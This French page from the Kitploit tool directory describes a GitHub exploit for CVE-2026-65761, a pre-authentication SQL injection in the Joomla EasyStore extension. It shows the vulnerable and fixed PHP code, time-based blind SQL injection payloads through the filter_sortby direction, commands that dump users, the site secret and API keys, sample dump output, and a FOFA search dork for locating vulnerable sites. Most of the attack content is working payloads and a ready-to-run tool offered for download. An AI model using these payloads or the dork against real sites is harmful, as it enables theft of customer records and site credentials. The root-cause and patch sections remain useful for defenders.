Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-65761 — Injection SQL pré-authentification EasyStore Joomla via filter_sortby Direction (CVE-2026-65761, CVSS 9.3) | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-65761
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubshinthink/cve-2026-65761

CVE-2026-65761

Injection SQL pré-authentification EasyStore Joomla via filter_sortby Direction (CVE-2026-65761, CVSS 9.3)

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-65761 — Injection SQL EasyStore Joomla sans authentification

Direction filter_sortby → Injection ORDER BY → Lecture complète de la base de données


Vue d'ensemble

CVE-2026-65761 (CVSS 9.3 Critique) est une injection SQL non authentifiée dans EasyStore pour Joomla de JoomShaper, affectant les versions ≤ 2.0.1.

Le paramètre filter_sortby de la liste de produits est divisé en une colonne et une direction. Alors que la colonne est validée par une liste blanche, la sans aucune restriction ASC/DESC — permettant une injection SQL arbitraire par un visiteur anonyme.

direction est concaténée directement dans la clause SQL ORDER BY

Un attaquant non authentifié peut lire l'intégralité de la base de données Joomla : comptes utilisateurs, hachages de mots de passe, données de session, secrets du site, clés API et toutes les données personnelles des clients (noms, e-mails, adresses, numéros de téléphone, historique d'achat).

CVECVE-2026-65761
CVSS9.3 Critique
AffectéEasyStore ≤ 2.0.1
CorrigéEasyStore 2.0.2
TypeInjection SQL (CWE-89)
AuthentificationAucune requise
DécouvertePhil Taylor (mySites.guru) — juillet 2026

Mécanisme de la vulnérabilité

Cause racine

FilterHelper.php:741 renvoie la direction de tri sans vérification de liste blanche ASC/DESC :

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 concatène la direction directement dans le SQL :

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

Les listes associées de marques et de collections disposaient de listes blanches de directions correctes. Ce n'était pas le cas de la liste de produits.

Correctif (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Déroulement de l'attaque

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Prérequis

ExigenceDétails
EasyStore ≤ 2.0.1Version vulnérable installée
Liste de produits accessibleindex.php?option=com_easystore&view=products
Aucune authentificationFonctionne anonymement
MySQL/MariaDBExtraction temporelle via SLEEP()

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Utilisation

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Sortie

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Détails techniques

Chemin de code vulnérable

FichierLigneProblème
site/src/Helper/FilterHelper.php741Renvoie la direction sans liste blanche — strtoupper() uniquement
site/src/Model/ProductsModel.php932Concatène $direction directement dans la clause ORDER BY

Paramètre d'injection

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Vulnérabilités supplémentaires dans EasyStore 2.0.1

CVETypeCVSS
CVE-2026-65759Falsification de commande / manipulation de paiement8.7
CVE-2026-65760IDOR sur factures (exposition de données inter-clients)9.2
CVE-2026-65761Injection SQL (cet exploit)9.3

FOFA Dork

root@kitploit:~
body="com_easystore" && body="filter_sortby"

Références

  • mySites.guru — Divulgation originale
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Avertissement

Réservé aux tests de sécurité autorisés et à la recherche pédagogique uniquement. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil